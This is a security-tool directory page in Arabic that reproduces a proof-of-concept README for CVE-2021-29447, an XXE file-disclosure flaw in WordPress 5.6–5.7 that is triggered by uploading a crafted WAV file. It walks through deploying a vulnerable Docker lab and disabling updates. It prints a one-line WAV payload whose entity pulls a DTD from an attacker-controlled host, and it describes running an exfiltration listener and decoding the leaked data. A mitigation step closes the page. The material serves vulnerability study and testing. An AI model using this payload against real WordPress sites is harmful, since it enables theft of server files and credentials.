Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-29447-PoC — 针对CVE-2021-29447的概念验证漏洞利用,这是WordPress 5.6-5.7中通过恶意WAV文件上传导致的XXE注入漏洞,允许在PHP 8.0+上任意文件泄露。 | Kitploit
أدوات/GitHubGitHub/rdana55/cve-2021-29447-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

针对CVE-2021-29447的概念验证漏洞利用,这是WordPress 5.6-5.7中通过恶意WAV文件上传导致的XXE注入漏洞,允许在PHP 8.0+上任意文件泄露。

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-29447-PoC

نظرة عامة

CVE-2021-29447 هي ثغرة حقن كيانات خارجية في XML (XXE) تؤثر على إصدارات ووردبريس من 5.6 إلى 5.7 (تم إصلاحها في الإصدار 5.7.1) عند تشغيل PHP 8.0+. توجد الثغرة في مكتبة getID3 المستخدمة لتحليل البيانات الوصفية للوسائط.

يعالج ووردبريس مقاطع iXML في ملفات WAV عبر getID3، والتي تستدعي الدالة simplexml_load_string() مع العلامة LIBXML_NOENT. تعمل هذه العلامة بشكل صريح على تمكين استبدال الكيانات الخارجية، متجاوزةً الحمايات الافتراضية لـ PHP 8 ضد XXE (التي أُهملت في libxml_disable_entity_loader()).

  1. مستخدم مصادق عليه (Author+) يرفع ملف WAV خبيث
  2. getID3 ← مقطع iXML ← simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. جلب DTD خارجي ← غلاف data:// في PHP ← كشف ملفات عشوائية

إعداد إثبات المفهوم

يوضح إثبات المفهوم هذا الثغرة باستخدام ووردبريس 5.7 داخل Docker مع PHP 8.0.3. يمكن لمستخدمي لينكس استخدام سكربت بملف واحد يُنشئ أيضًا ملفات WAV/DTD.

▶️: https://youtu.be/YnGowuWHFyY

المتطلبات الأساسية وإعداد البيئة

  1. قم بتثبيت Docker Desktop على جهاز ويندوز

  2. أنشئ دليل مشروع مخصص (يتم تنفيذ جميع أوامر PowerShell هنا):

    root@kitploit:~
     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. انشر نسخة ووردبريس المعرضة للثغرة:

    root@kitploit:~
#powershell notepad docker-compose.yml

انسخ والصق محتوى docker-compose.yml

  • ابدأ الحاويات:

    root@kitploit:~
     #powershell
     docker-compose up -d
    
  • عطّل التحديثات التلقائية (أمر بالغ الأهمية لاستمرار الثغرة):

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  • تحقق من الإصدارات المعرضة للثغرة:

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    متوقع: ووردبريس 5.7، وPHP 8.0 أو أحدث

  • تثبيت ووردبريس:

    انتقل إلى: http://localhost:8080

    المسؤول: test / test / [email protected]

    أكمل الإعداد → الوصول إلى /wp-admin

  • اكتشاف عنوان IP للمهاجم:

    root@kitploit:~
     #powershell
     ipconfig | findstr IPv4
    

    لاحظ عنوان IP الخاص بك (مثل 192.168.1.196)

  • توليد حمولة الاستغلال

    1. أنشئ حمولة DTD:

      root@kitploit:~
       #powershell
       notepad evil.dtd
      

      انسخ والصق محتوى evil.dtd

    2. ولّد حمولة WAV (عبر واجهة سطر الأوامر في لينكس):

      root@kitploit:~
      #bash
       echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
      

      انقل الملف عبر python3 -m http.server 8000 ← لتنزيله من متصفح ويندوز (مثل http://<VM_IP>:8000)

      ملاحظة: تم إنشاء WAV بشكل منفصل بسبب تعقيد إفلات البيانات الثنائية في بيئات ويندوز

    3. انشر خادم الاستغلال:

      root@kitploit:~
       #powershell
       notepad exploit.py
      

      انسخ والصق محتوى exploit.py

      الأمر:

      root@kitploit:~
       #powershell
       python exploit.py -l YOUR_IP -p PORT 
      

    الاستغلال

    1. شغّل XXE:

      http://localhost:8080/wp-admin → الوسائط ← إضافة جديد

      ارفع ملف payload.wav

    2. راقب وحدة تحكم خادم Python ← لالتقاط البيانات المسرّبة

    3. فك ترميز حمولة Base64+Zlib:

      root@kitploit:~
       #powershell
       $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
      

    التخفيف

    قم بترقية ووردبريس إلى 5.7.1 أو أحدث، أو عطّل LIBXML_NOENT في تحليل getID3.

    تنزيل الأداة